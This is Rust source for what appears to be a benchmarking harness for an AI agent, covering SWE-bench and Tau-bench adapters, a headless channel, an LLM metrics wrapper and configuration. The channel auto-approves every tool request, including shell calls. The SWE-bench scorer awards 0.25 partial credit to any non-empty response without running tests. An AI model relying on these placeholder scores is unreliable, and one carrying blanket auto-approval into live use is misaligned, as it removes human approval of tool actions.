.unwrap_or("/tmp/swe-bench")
.to_string();
let use_docker = suite_map
.get("use_docker")
.and_then(|v| v.as_bool())
.unwrap_or(false);
Ok(Box::new(swe_bench::SweBenchSuite::new(
dataset_path,
workspace_dir,
use_docker,
)))
}
_ => {
let available = KNOWN_SUITES
.iter()
.map(|(id, _)| *id)
.collect::<Vec<_>>()
.join(", ");
Err(BenchError::SuiteNotFound {
name: name.to_string(),
available,
})
}
}
}
+291
View File
@@ -0,0 +1,291 @@
use std::io::BufRead;
use std::path::PathBuf;
use async_trait::async_trait;
use serde::Deserialize;
use crate::error::BenchError;
use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskSubmission};
/// SWE-bench dataset entry.
#[derive(Debug, Deserialize)]
struct SweBenchEntry {
instance_id: String,
repo: String,
base_commit: String,
#[serde(default)]
problem_statement: String,
#[serde(default)]
hints_text: Option<String>,
#[serde(default)]
test_patch: Option<String>,
#[serde(default)]
patch: Option<String>,
}
/// SWE-bench Pro: real-world software engineering tasks.
///
/// Each task clones a repo at a specific commit, presents the problem statement,
/// and expects the agent to produce a patch. Scoring runs the test suite.
pub struct SweBenchSuite {
dataset_path: PathBuf,
workspace_dir: PathBuf,
use_docker: bool,
}
impl SweBenchSuite {
pub fn new(
dataset_path: impl Into<PathBuf>,
workspace_dir: impl Into<PathBuf>,
use_docker: bool,
) -> Self {
Self {
dataset_path: dataset_path.into(),
workspace_dir: workspace_dir.into(),
use_docker,
}
}
}
#[async_trait]
impl BenchSuite for SweBenchSuite {
fn name(&self) -> &str {
"SWE-bench Pro"
}
fn id(&self) -> &str {
"swe_bench"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path)?;
let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: SweBenchEntry = serde_json::from_str(trimmed).map_err(|e| {
BenchError::Config(format!("swe_bench line {}: {}", line_num + 1, e))
})?;
let metadata = serde_json::json!({
"repo": entry.repo,
"base_commit": entry.base_commit,
"test_patch": entry.test_patch,
"gold_patch": entry.patch,
"use_docker": self.use_docker,
"workspace_dir": self.workspace_dir.to_string_lossy(),
});
let prompt = if let Some(ref hints) = entry.hints_text {
format!("{}\n\nHints:\n{}", entry.problem_statement, hints)
} else {
entry.problem_statement
};
tasks.push(BenchTask {
id: entry.instance_id,
prompt,
context: Some(format!(
"Repository: {}, Commit: {}",
entry.repo, entry.base_commit
)),
resources: vec![],
tags: vec![format!("repo-{}", entry.repo.replace('/', "-"))],
expected_turns: None,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn setup_task(&self, task: &BenchTask) -> Result<(), BenchError> {
let repo = task
.metadata
.get("repo")
.and_then(|v| v.as_str())
.ok_or_else(|| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: "missing repo in metadata".to_string(),
})?;
let base_commit = task
.metadata
.get("base_commit")
.and_then(|v| v.as_str())
.ok_or_else(|| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: "missing base_commit in metadata".to_string(),
})?;
let task_dir = self.workspace_dir.join(&task.id);
// Clone repo if not already present
if !task_dir.exists() {
let repo_url = format!("https://github.com/{}.git", repo);
let output = tokio::process::Command::new("git")
.args([
"clone",
"--depth",
"1",
&repo_url,
&task_dir.to_string_lossy(),
])
.output()
.await
.map_err(|e| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git clone failed: {e}"),
})?;
if !output.status.success() {
let stderr = String::from_utf8_lossy(&output.stderr);
return Err(BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git clone failed: {stderr}"),
});
}
}
// Checkout the base commit
let output = tokio::process::Command::new("git")
.args(["checkout", base_commit])
.current_dir(&task_dir)
.output()
.await
.map_err(|e| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git checkout failed: {e}"),
})?;
if !output.status.success() {
// Shallow clone might not have the commit; fetch more history
let _ = tokio::process::Command::new("git")
.args(["fetch", "--unshallow"])
.current_dir(&task_dir)
.output()
.await;
let output = tokio::process::Command::new("git")
.args(["checkout", base_commit])
.current_dir(&task_dir)
.output()
.await
.map_err(|e| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git checkout retry failed: {e}"),
})?;
if !output.status.success() {
let stderr = String::from_utf8_lossy(&output.stderr);
return Err(BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git checkout failed: {stderr}"),
});
}
}
Ok(())
}
async fn teardown_task(&self, task: &BenchTask) -> Result<(), BenchError> {
let task_dir = self.workspace_dir.join(&task.id);
if task_dir.exists() {
// Reset any changes
let _ = tokio::process::Command::new("git")
.args(["checkout", "."])
.current_dir(&task_dir)
.output()
.await;
let _ = tokio::process::Command::new("git")
.args(["clean", "-fdx"])
.current_dir(&task_dir)
.output()
.await;
}
Ok(())
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
// For SWE-bench, scoring requires running the test patch against the agent's changes.
// This is a simplified version that checks if the agent produced any code changes.
let test_patch = task.metadata.get("test_patch").and_then(|v| v.as_str());
if submission.response.is_empty() {
return Ok(BenchScore::fail("no response from agent"));
}
// If we have a test patch, try to verify the submission
if let Some(_test_patch) = test_patch {
// TODO: Apply agent's patch, then apply test patch, then run tests.
// For now, give partial credit if the agent produced some output.
Ok(BenchScore::partial(
0.25,
"test execution not yet implemented; partial credit for response",
))
} else {
// No test patch available; can't automatically score
Ok(BenchScore::partial(
0.25,
"no test_patch available for automated scoring",
))
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
#[tokio::test]
async fn test_swe_bench_load() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("swe.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"instance_id": "django__django-12345", "repo": "django/django", "base_commit": "abc123", "problem_statement": "Fix the ORM bug"}}"#
)
.unwrap();
let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false);
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 1);
assert_eq!(tasks[0].id, "django__django-12345");
assert!(tasks[0].tags.contains(&"repo-django-django".to_string()));
}
#[tokio::test]
async fn test_swe_bench_scoring_no_response() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("swe.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"instance_id": "s1", "repo": "org/repo", "base_commit": "abc", "problem_statement": "Fix bug"}}"#
)
.unwrap();
let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false);
let tasks = suite.load_tasks().await.unwrap();
let submission = TaskSubmission {
response: String::new(),
conversation: vec![],
tool_calls: vec![],
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 0.0);
}
}
+227
View File
@@ -0,0 +1,227 @@
use std::io::BufRead;
use std::path::PathBuf;
use async_trait::async_trait;
use serde::Deserialize;
use crate::error::BenchError;
use crate::suite::{BenchScore, BenchSuite, BenchTask, ConversationTurn, TaskSubmission};
/// Tau-bench task entry.
#[derive(Debug, Deserialize)]
struct TauBenchEntry {
id: String,
#[serde(default)]
domain: String,
instruction: String,
#[serde(default)]
user_persona: Option<String>,
#[serde(default)]
expected_state: Option<serde_json::Value>,
#[serde(default)]
expected_actions: Vec<String>,
#[serde(default)]
max_turns: Option<usize>,
}
/// Tau-bench: multi-turn tool-calling dialog benchmark.
///
/// Tests agent ability to handle customer service scenarios with simulated
/// domain APIs (retail, airline). Scoring compares final state against expected.
pub struct TauBenchSuite {
dataset_path: PathBuf,
domain: String,
}
impl TauBenchSuite {
pub fn new(dataset_path: impl Into<PathBuf>, domain: impl Into<String>) -> Self {
Self {
dataset_path: dataset_path.into(),
domain: domain.into(),
}
}
}
#[async_trait]
impl BenchSuite for TauBenchSuite {
fn name(&self) -> &str {
"Tau-bench"
}
fn id(&self) -> &str {
"tau_bench"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path)?;
let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: TauBenchEntry = serde_json::from_str(trimmed).map_err(|e| {
BenchError::Config(format!("tau_bench line {}: {}", line_num + 1, e))
})?;
let domain = if entry.domain.is_empty() {
self.domain.clone()
} else {
entry.domain.clone()
};
let metadata = serde_json::json!({
"domain": domain,
"user_persona": entry.user_persona,
"expected_state": entry.expected_state,
"expected_actions": entry.expected_actions,
});
tasks.push(BenchTask {
id: entry.id,
prompt: entry.instruction,
context: entry.user_persona.clone(),
resources: vec![],
tags: vec![format!("domain-{domain}")],
expected_turns: entry.max_turns,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
// Score based on expected actions completion
let expected_actions: Vec<String> = task
.metadata
.get("expected_actions")
.and_then(|v| serde_json::from_value(v.clone()).ok())
.unwrap_or_default();
if expected_actions.is_empty() {
// No expected actions defined; score based on whether agent responded
if submission.response.is_empty() {
return Ok(BenchScore::fail("no response"));
}
return Ok(BenchScore::partial(
0.5,
"no expected_actions to evaluate against",
));
}
// Check which expected actions were actually called
let called: std::collections::HashSet<&str> =
submission.tool_calls.iter().map(|s| s.as_str()).collect();
let matched = expected_actions
.iter()
.filter(|a| called.contains(a.as_str()))
.count();
let ratio = matched as f64 / expected_actions.len() as f64;
if ratio >= 1.0 {
Ok(BenchScore::pass())
} else if ratio > 0.0 {
Ok(BenchScore::partial(
ratio,
format!(
"{}/{} expected actions completed",
matched,
expected_actions.len()
),
))
} else {
Ok(BenchScore::fail(format!(
"0/{} expected actions completed",
expected_actions.len()
)))
}
}
async fn next_user_message(
&self,
task: &BenchTask,
conversation: &[ConversationTurn],
) -> Result<Option<String>, BenchError> {
// Check if we've exceeded max turns
if let Some(max) = task.expected_turns {
let user_turns = conversation
.iter()
.filter(|t| matches!(t.role, crate::suite::TurnRole::User))
.count();
if user_turns >= max {
return Ok(None);
}
}
// For now, multi-turn simulation requires an LLM (not implemented yet).
// Return None to end after the first turn.
// TODO: Use LLM to simulate customer based on user_persona.
Ok(None)
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
#[tokio::test]
async fn test_tau_bench_load() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tau.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "instruction": "Return my order", "expected_actions": ["lookup_order", "process_return"], "max_turns": 3}}"#
)
.unwrap();
let suite = TauBenchSuite::new(&path, "retail");
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 1);
assert_eq!(tasks[0].expected_turns, Some(3));
}
#[tokio::test]
async fn test_tau_bench_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tau.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "instruction": "Return order", "expected_actions": ["lookup_order", "process_return"]}}"#
)
.unwrap();
let suite = TauBenchSuite::new(&path, "retail");
let tasks = suite.load_tasks().await.unwrap();
// Partial completion
let submission = TaskSubmission {
response: "I found your order.".to_string(),
conversation: vec![],
tool_calls: vec!["lookup_order".to_string()],
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 0.5);
assert_eq!(score.label, "partial");
// Full completion
let submission = TaskSubmission {
response: "Return processed.".to_string(),
conversation: vec![],
tool_calls: vec!["lookup_order".to_string(), "process_return".to_string()],
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 1.0);
}
}
+229
View File
@@ -0,0 +1,229 @@
use std::sync::Arc;
use async_trait::async_trait;
use tokio::sync::{Mutex, mpsc};
use tokio_stream::wrappers::ReceiverStream;
use ironclaw::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
use ironclaw::error::ChannelError;
use crate::results::TraceToolCall;
use crate::suite::ConversationTurn;
/// Captured state from a benchmark channel run.
#[derive(Debug, Default)]
pub struct ChannelCapture {
/// All responses the agent sent back.
pub responses: Vec<String>,
/// Tool calls observed (name, success, duration_ms).
pub tool_calls: Vec<TraceToolCall>,
/// Full conversation turns for multi-turn scoring.
pub conversation: Vec<ConversationTurn>,
/// Status messages (for debugging).
pub status_log: Vec<String>,
}
/// A headless Channel implementation for benchmarking.
///
/// Modeled after `ReplChannel`: uses mpsc to inject messages and captures
/// all responses and tool status events. Auto-approves tool execution
/// so benchmarks run without user interaction.
pub struct BenchChannel {
/// Sender to inject messages into the agent loop.
msg_tx: mpsc::Sender<IncomingMessage>,
/// Receiver the agent loop reads from (taken once by `start()`).
msg_rx: Mutex<Option<mpsc::Receiver<IncomingMessage>>>,
/// Accumulated capture data.
capture: Arc<Mutex<ChannelCapture>>,
}
impl BenchChannel {
pub fn new() -> (Self, mpsc::Sender<IncomingMessage>) {
let (tx, rx) = mpsc::channel(64);
let channel = Self {
msg_tx: tx.clone(),
msg_rx: Mutex::new(Some(rx)),
capture: Arc::new(Mutex::new(ChannelCapture::default())),
};
(channel, tx)
}
/// Get a handle to the capture data.
pub fn capture(&self) -> Arc<Mutex<ChannelCapture>> {
Arc::clone(&self.capture)
}
/// Get a clone of the message sender for injecting follow-up messages.
pub fn sender(&self) -> mpsc::Sender<IncomingMessage> {
self.msg_tx.clone()
}
}
#[async_trait]
impl Channel for BenchChannel {
fn name(&self) -> &str {
"bench"
}
async fn start(&self) -> Result<MessageStream, ChannelError> {
let rx = self
.msg_rx
.lock()
.await
.take()
.ok_or_else(|| ChannelError::StartupFailed {
name: "bench".to_string(),
reason: "start() already called".to_string(),
})?;
Ok(Box::pin(ReceiverStream::new(rx)))
}
async fn respond(
&self,
_msg: &IncomingMessage,
response: OutgoingResponse,
) -> Result<(), ChannelError> {
let mut cap = self.capture.lock().await;
cap.responses.push(response.content.clone());
cap.conversation.push(ConversationTurn {
role: crate::suite::TurnRole::Assistant,
content: response.content,
});
Ok(())
}
async fn send_status(
&self,
status: StatusUpdate,
_metadata: &serde_json::Value,
) -> Result<(), ChannelError> {
let mut cap = self.capture.lock().await;
match status {
StatusUpdate::ToolCompleted { ref name, success } => {
cap.tool_calls.push(TraceToolCall {
name: name.clone(),
duration_ms: 0, // We don't have precise per-tool timing here
success,
});
cap.status_log
.push(format!("tool_completed: {name} success={success}"));
}
StatusUpdate::ApprovalNeeded { ref request_id, .. } => {
// Auto-approve all tools during benchmarks
cap.status_log.push(format!("auto_approved: {request_id}"));
drop(cap); // Release lock before sending
let approval = IncomingMessage::new("bench", "bench-user", "always");
let _ = self.msg_tx.send(approval).await;
return Ok(());
}
StatusUpdate::Thinking(ref msg) => {
cap.status_log.push(format!("thinking: {msg}"));
}
StatusUpdate::ToolStarted { ref name } => {
cap.status_log.push(format!("tool_started: {name}"));
}
StatusUpdate::ToolResult {
ref name,
ref preview,
} => {
cap.status_log.push(format!(
"tool_result: {name} -> {}",
&preview[..preview.len().min(100)]
));
}
StatusUpdate::StreamChunk(_) => {}
StatusUpdate::Status(ref msg) => {
cap.status_log.push(format!("status: {msg}"));
}
}
Ok(())
}
async fn broadcast(
&self,
_user_id: &str,
response: OutgoingResponse,
) -> Result<(), ChannelError> {
let mut cap = self.capture.lock().await;
cap.status_log.push(format!(
"broadcast: {}",
&response.content[..response.content.len().min(100)]
));
Ok(())
}
async fn health_check(&self) -> Result<(), ChannelError> {
Ok(())
}
async fn shutdown(&self) -> Result<(), ChannelError> {
Ok(())
}
}
#[cfg(test)]
mod tests {
use super::*;
#[tokio::test]
async fn test_bench_channel_captures_responses() {
let (channel, _tx) = BenchChannel::new();
let capture = channel.capture();
let msg = IncomingMessage::new("bench", "user", "hello");
let response = OutgoingResponse::text("world");
channel.respond(&msg, response).await.unwrap();
let cap = capture.lock().await;
assert_eq!(cap.responses.len(), 1);
assert_eq!(cap.responses[0], "world");
assert_eq!(cap.conversation.len(), 1);
}
#[tokio::test]
async fn test_bench_channel_auto_approves() {
let (channel, _tx) = BenchChannel::new();
// start() to consume the receiver
let _stream = channel.start().await.unwrap();
let status = StatusUpdate::ApprovalNeeded {
request_id: "req-1".to_string(),
tool_name: "shell".to_string(),
description: "run ls".to_string(),
parameters: serde_json::json!({}),
};
channel
.send_status(status, &serde_json::Value::Null)
.await
.unwrap();
// The approval message was sent through msg_tx,
// which means the stream would receive it.
// We can't easily read from the stream in this test without
// consuming it, but we can verify the status log.
let capture_arc = channel.capture();
let cap = capture_arc.lock().await;
assert!(cap.status_log.iter().any(|s| s.contains("auto_approved")));
}
#[tokio::test]
async fn test_bench_channel_captures_tool_events() {
let (channel, _tx) = BenchChannel::new();
let status = StatusUpdate::ToolCompleted {
name: "echo".to_string(),
success: true,
};
channel
.send_status(status, &serde_json::Value::Null)
.await
.unwrap();
let capture_arc = channel.capture();
let cap = capture_arc.lock().await;
assert_eq!(cap.tool_calls.len(), 1);
assert_eq!(cap.tool_calls[0].name, "echo");
assert!(cap.tool_calls[0].success);
}
}
+203
View File
@@ -0,0 +1,203 @@
use std::path::{Path, PathBuf};
use std::time::Duration;
use serde::Deserialize;
use crate::error::BenchError;
/// Top-level bench configuration, loaded from TOML.
#[derive(Debug, Clone, Deserialize)]
pub struct BenchConfig {
/// Where to write results. Default: "./bench-results".
#[serde(default = "default_results_dir")]
pub results_dir: PathBuf,
/// Per-task timeout. Default: "300s".
#[serde(
default = "default_task_timeout",
deserialize_with = "deserialize_duration"
)]
pub task_timeout: Duration,
/// Max agent iterations per task. Default: 15.
#[serde(default = "default_max_iterations")]
pub max_iterations: usize,
/// How many tasks to run in parallel. Default: 1.
#[serde(default = "default_parallelism")]
pub parallelism: usize,
/// Model/config matrix entries. At least one required.
#[serde(default)]
pub matrix: Vec<MatrixEntry>,
/// Suite-specific configuration (passed through to adapter).
#[serde(default = "default_suite_config")]
pub suite_config: toml::Value,
}
/// A single model/config combination to benchmark.
#[derive(Debug, Clone, Deserialize)]
pub struct MatrixEntry {
/// Label for this configuration (used in results).
pub label: String,
/// Model identifier.
#[serde(default)]
pub model: Option<String>,
/// Optional tool allowlist. If set, only these tools are available.
#[serde(default)]
pub tools: Option<Vec<String>>,
}
impl BenchConfig {
/// Load from a TOML file.
pub fn from_file(path: &Path) -> Result<Self, BenchError> {
if !path.exists() {
return Err(BenchError::ConfigNotFound {
path: path.to_path_buf(),
});
}
let content = std::fs::read_to_string(path)?;
let config: BenchConfig = toml::from_str(&content)?;
Ok(config)
}
/// Create a minimal config for when no config file is provided.
/// Uses defaults and optional CLI overrides.
pub fn minimal(model: Option<String>) -> Self {
let label = model.as_deref().unwrap_or("default").to_string();
Self {
results_dir: default_results_dir(),
task_timeout: default_task_timeout(),
max_iterations: default_max_iterations(),
parallelism: default_parallelism(),
matrix: vec![MatrixEntry {
label,
model,
tools: None,
}],
suite_config: toml::Value::Table(toml::map::Map::new()),
}
}
/// Get the suite_config as a generic map for adapter use.
pub fn suite_config_map(&self) -> toml::map::Map<String, toml::Value> {
match &self.suite_config {
toml::Value::Table(map) => map.clone(),
_ => toml::map::Map::new(),
}
}
/// Get a string value from suite_config.
pub fn suite_config_str(&self, key: &str) -> Option<String> {
self.suite_config_map()
.get(key)
.and_then(|v| v.as_str())
.map(|s| s.to_string())
}
}
fn default_suite_config() -> toml::Value {
toml::Value::Table(toml::map::Map::new())
}
fn default_results_dir() -> PathBuf {
PathBuf::from("./bench-results")
}
fn default_task_timeout() -> Duration {
Duration::from_secs(300)
}
fn default_max_iterations() -> usize {
15
}
fn default_parallelism() -> usize {
1
}
/// Deserialize a duration from a string like "300s", "5m", etc.
fn deserialize_duration<'de, D>(deserializer: D) -> Result<Duration, D::Error>
where
D: serde::Deserializer<'de>,
{
let s = String::deserialize(deserializer)?;
parse_duration(&s).map_err(serde::de::Error::custom)
}
fn parse_duration(s: &str) -> Result<Duration, String> {
let s = s.trim();
if let Some(secs) = s.strip_suffix('s') {
secs.trim()
.parse::<u64>()
.map(Duration::from_secs)
.map_err(|e| format!("invalid seconds: {e}"))
} else if let Some(mins) = s.strip_suffix('m') {
mins.trim()
.parse::<u64>()
.map(|m| Duration::from_secs(m * 60))
.map_err(|e| format!("invalid minutes: {e}"))
} else {
// Assume seconds if no suffix
s.parse::<u64>()
.map(Duration::from_secs)
.map_err(|e| format!("invalid duration '{s}': {e}"))
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_parse_duration() {
assert_eq!(parse_duration("300s").unwrap(), Duration::from_secs(300));
assert_eq!(parse_duration("5m").unwrap(), Duration::from_secs(300));
assert_eq!(parse_duration("60").unwrap(), Duration::from_secs(60));
}
#[test]
fn test_minimal_config() {
let config = BenchConfig::minimal(Some("test-model".to_string()));
assert_eq!(config.matrix.len(), 1);
assert_eq!(config.matrix[0].label, "test-model");
assert_eq!(config.max_iterations, 15);
assert_eq!(config.parallelism, 1);
}
#[test]
fn test_config_from_toml() {
let toml_str = r#"
results_dir = "./my-results"
task_timeout = "60s"
max_iterations = 10
parallelism = 2
[[matrix]]
label = "fast"
model = "gpt-4o-mini"
[[matrix]]
label = "full"
model = "claude-3-5-sonnet"
tools = ["echo", "time"]
[suite_config]
dataset_path = "./data/test.jsonl"
"#;
let config: BenchConfig = toml::from_str(toml_str).unwrap();
assert_eq!(config.results_dir, PathBuf::from("./my-results"));
assert_eq!(config.task_timeout, Duration::from_secs(60));
assert_eq!(config.max_iterations, 10);
assert_eq!(config.parallelism, 2);
assert_eq!(config.matrix.len(), 2);
assert_eq!(config.matrix[1].tools.as_ref().unwrap().len(), 2);
assert_eq!(
config.suite_config_str("dataset_path").unwrap(),
"./data/test.jsonl"
);
}
}
+40
View File
@@ -0,0 +1,40 @@
use std::path::PathBuf;
#[derive(Debug, thiserror::Error)]
pub enum BenchError {
#[error("Config error: {0}")]
Config(String),
#[error("Config file not found: {path}")]
ConfigNotFound { path: PathBuf },
#[error("Suite {name} not found. Available: {available}")]
SuiteNotFound { name: String, available: String },
#[error("Task {task_id} failed: {reason}")]
TaskFailed { task_id: String, reason: String },
#[error("Timeout after {seconds}s for task {task_id}")]
Timeout { task_id: String, seconds: u64 },
#[error("Scoring error for task {task_id}: {reason}")]
Scoring { task_id: String, reason: String },
#[error("IO error: {0}")]
Io(#[from] std::io::Error),
#[error("JSON error: {0}")]
Json(#[from] serde_json::Error),
#[error("TOML parse error: {0}")]
Toml(#[from] toml::de::Error),
#[error("Agent error: {0}")]
Agent(#[from] ironclaw::Error),
#[error("Results directory error: {0}")]
ResultsDir(String),
#[error("Resume failed: no completed tasks found in {path}")]
ResumeEmpty { path: PathBuf },
}
+248
View File
@@ -0,0 +1,248 @@
use std::sync::Arc;
use std::sync::atomic::{AtomicU32, Ordering};
use std::time::Instant;
use async_trait::async_trait;
use rust_decimal::Decimal;
use tokio::sync::Mutex;
use ironclaw::error::LlmError;
use ironclaw::llm::{
CompletionRequest, CompletionResponse, LlmProvider, ToolCompletionRequest,
ToolCompletionResponse,
};
/// Recorded metrics from a single LLM call.
#[derive(Debug, Clone)]
pub struct LlmCallRecord {
pub input_tokens: u32,
pub output_tokens: u32,
pub duration_ms: u64,
pub had_tool_calls: bool,
}
/// Wraps an `LlmProvider` to record per-call metrics.
///
/// The wrapper is transparent to the agent: it delegates every call
/// to the inner provider and captures token counts and timings.
pub struct InstrumentedLlm {
inner: Arc<dyn LlmProvider>,
records: Mutex<Vec<LlmCallRecord>>,
total_input_tokens: AtomicU32,
total_output_tokens: AtomicU32,
call_count: AtomicU32,
}
impl InstrumentedLlm {
pub fn new(inner: Arc<dyn LlmProvider>) -> Self {
Self {
inner,
records: Mutex::new(Vec::new()),
total_input_tokens: AtomicU32::new(0),
total_output_tokens: AtomicU32::new(0),
call_count: AtomicU32::new(0),
}
}
/// Take all recorded call metrics, clearing the internal buffer.
pub async fn take_records(&self) -> Vec<LlmCallRecord> {
let mut records = self.records.lock().await;
std::mem::take(&mut *records)
}
/// Snapshot of total tokens without clearing.
pub fn total_input_tokens(&self) -> u32 {
self.total_input_tokens.load(Ordering::Relaxed)
}
pub fn total_output_tokens(&self) -> u32 {
self.total_output_tokens.load(Ordering::Relaxed)
}
pub fn call_count(&self) -> u32 {
self.call_count.load(Ordering::Relaxed)
}
/// Estimated cost using the inner provider's cost-per-token rates.
pub fn estimated_cost(&self) -> f64 {
let (input_rate, output_rate) = self.inner.cost_per_token();
let input_cost =
input_rate * Decimal::from(self.total_input_tokens.load(Ordering::Relaxed));
let output_cost =
output_rate * Decimal::from(self.total_output_tokens.load(Ordering::Relaxed));
let total = input_cost + output_cost;
// Convert Decimal to f64 for the trace (benchmarks don't need exact precision)
total.to_string().parse::<f64>().unwrap_or(0.0)
}
/// Reset all counters and records.
pub async fn reset(&self) {
self.records.lock().await.clear();
self.total_input_tokens.store(0, Ordering::Relaxed);
self.total_output_tokens.store(0, Ordering::Relaxed);
self.call_count.store(0, Ordering::Relaxed);
}
async fn record(
&self,
input_tokens: u32,
output_tokens: u32,
duration_ms: u64,
had_tool_calls: bool,
) {
self.total_input_tokens
.fetch_add(input_tokens, Ordering::Relaxed);
self.total_output_tokens
.fetch_add(output_tokens, Ordering::Relaxed);
self.call_count.fetch_add(1, Ordering::Relaxed);
self.records.lock().await.push(LlmCallRecord {
input_tokens,
output_tokens,
duration_ms,
had_tool_calls,
});
}
}
#[async_trait]
impl LlmProvider for InstrumentedLlm {
fn model_name(&self) -> &str {
self.inner.model_name()
}
fn cost_per_token(&self) -> (Decimal, Decimal) {
self.inner.cost_per_token()
}
async fn complete(&self, request: CompletionRequest) -> Result<CompletionResponse, LlmError> {
let start = Instant::now();
let response = self.inner.complete(request).await?;
let elapsed = start.elapsed().as_millis() as u64;
self.record(
response.input_tokens,
response.output_tokens,
elapsed,
false,
)
.await;
Ok(response)
}
async fn complete_with_tools(
&self,
request: ToolCompletionRequest,
) -> Result<ToolCompletionResponse, LlmError> {
let start = Instant::now();
let response = self.inner.complete_with_tools(request).await?;
let elapsed = start.elapsed().as_millis() as u64;
let had_tool_calls = !response.tool_calls.is_empty();
self.record(
response.input_tokens,
response.output_tokens,
elapsed,
had_tool_calls,
)
.await;
Ok(response)
}
async fn list_models(&self) -> Result<Vec<String>, LlmError> {
self.inner.list_models().await
}
}
#[cfg(test)]
mod tests {
use super::*;
use ironclaw::llm::{ChatMessage, CompletionRequest, CompletionResponse, FinishReason};
/// Fake LLM that returns a canned response with known token counts.
struct FakeLlm;
#[async_trait]
impl LlmProvider for FakeLlm {
fn model_name(&self) -> &str {
"fake-model"
}
fn cost_per_token(&self) -> (Decimal, Decimal) {
(
Decimal::new(3, 6), // $0.000003 per input token
Decimal::new(15, 6), // $0.000015 per output token
)
}
async fn complete(
&self,
_request: CompletionRequest,
) -> Result<CompletionResponse, LlmError> {
Ok(CompletionResponse {
content: "test response".to_string(),
input_tokens: 100,
output_tokens: 50,
finish_reason: FinishReason::Stop,
})
}
async fn complete_with_tools(
&self,
_request: ToolCompletionRequest,
) -> Result<ToolCompletionResponse, LlmError> {
Ok(ToolCompletionResponse {
content: Some("tool response".to_string()),
tool_calls: vec![],
input_tokens: 200,
output_tokens: 100,
finish_reason: FinishReason::Stop,
})
}
}
#[tokio::test]
async fn test_instrumented_records_metrics() {
let inner = Arc::new(FakeLlm);
let instrumented = InstrumentedLlm::new(inner);
let request = CompletionRequest::new(vec![ChatMessage::user("hello")]);
let _ = instrumented.complete(request).await.unwrap();
assert_eq!(instrumented.call_count(), 1);
assert_eq!(instrumented.total_input_tokens(), 100);
assert_eq!(instrumented.total_output_tokens(), 50);
let records = instrumented.take_records().await;
assert_eq!(records.len(), 1);
assert_eq!(records[0].input_tokens, 100);
assert!(!records[0].had_tool_calls);
}
#[tokio::test]
async fn test_instrumented_cost_calculation() {
let inner = Arc::new(FakeLlm);
let instrumented = InstrumentedLlm::new(inner);
let request = CompletionRequest::new(vec![ChatMessage::user("hello")]);
let _ = instrumented.complete(request).await.unwrap();
// 100 * 0.000003 + 50 * 0.000015 = 0.0003 + 0.00075 = 0.00105
let cost = instrumented.estimated_cost();
assert!((cost - 0.00105).abs() < 0.0001);
}
#[tokio::test]
async fn test_instrumented_reset() {
let inner = Arc::new(FakeLlm);
let instrumented = InstrumentedLlm::new(inner);
let request = CompletionRequest::new(vec![ChatMessage::user("hello")]);
let _ = instrumented.complete(request).await.unwrap();
assert_eq!(instrumented.call_count(), 1);
instrumented.reset().await;
assert_eq!(instrumented.call_count(), 0);
assert_eq!(instrumented.total_input_tokens(), 0);
let records = instrumented.take_records().await;
assert!(records.is_empty());
}
}
+314
View File
@@ -0,0 +1,314 @@
mod adapters;
mod channel;
mod config;
mod error;
mod instrumented_llm;
mod results;
mod runner;
mod scoring;
mod suite;
use std::path::PathBuf;
use std::sync::Arc;
use clap::{Parser, Subcommand};
use tracing_subscriber::{EnvFilter, layer::SubscriberExt, util::SubscriberInitExt};
use uuid::Uuid;
use crate::config::BenchConfig;
#[derive(Parser)]
#[command(name = "ironclaw-bench", about = "IronClaw benchmarking harness")]
struct Cli {
#[command(subcommand)]
command: Commands,
}
#[derive(Subcommand)]
enum Commands {
/// Run a benchmark suite.
Run {
/// Suite to run (custom, gaia, tau_bench, swe_bench).
#[arg(long)]
suite: String,
/// Path to bench config TOML.
#[arg(long)]
config: Option<PathBuf>,
/// Override model for all matrix entries.
#[arg(long)]
model: Option<String>,
/// Max tasks to run in parallel.
#[arg(long)]
parallelism: Option<usize>,
/// Sample N tasks from the suite (for quick testing).
#[arg(long)]
